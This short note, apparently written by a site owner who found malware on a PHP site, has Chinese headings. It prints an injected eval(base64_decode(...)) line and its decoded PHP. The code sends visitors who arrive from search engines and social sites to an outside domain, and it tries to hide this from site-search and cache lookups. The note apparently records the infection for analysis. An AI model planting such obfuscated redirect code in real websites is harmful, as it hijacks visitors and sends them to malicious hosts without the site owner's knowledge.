Injection的code的Base64 decode後

error_reporting(0);
$nccv=headers_sent();
if (!$nccv){
$referer=$_SERVER['HTTP_REFERER'];
$ua=$_SERVER['HTTP_USER_AGENT'];
if (stristr($referer,"yahoo") or stristr($referer,"google") or stristr($referer,"msn") or stristr($referer,"bing") or stristr($referer,"ask") or stristr($referer,"youtube") or stristr($referer,"facebook") ) {
	if (!stristr($referer,"site") or !stristr($referer,"cache") or !stristr($referer,"inurl")){		
		header("Location: http://bbpliops.345.pl/");
		exit();
	}
}
	}

被XSS Injection的code

eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOw0KJG5jY3Y9aGVhZGVyc19zZW50KCk7DQppZiAoISRuY2N2KXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YT0kX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107DQppZiAoc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb29nbGUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJtc24iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaW5nIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYXNrIikgb3Igc3RyaXN0cigkcmVmZXJlciwieW91dHViZSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rIikgKSB7DQoJaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJzaXRlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpewkJDQoJCWhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9iYnBsaW9wcy4zNDUucGwvIik7DQoJCWV4aXQoKTsNCgl9DQp9DQoJfQ=="));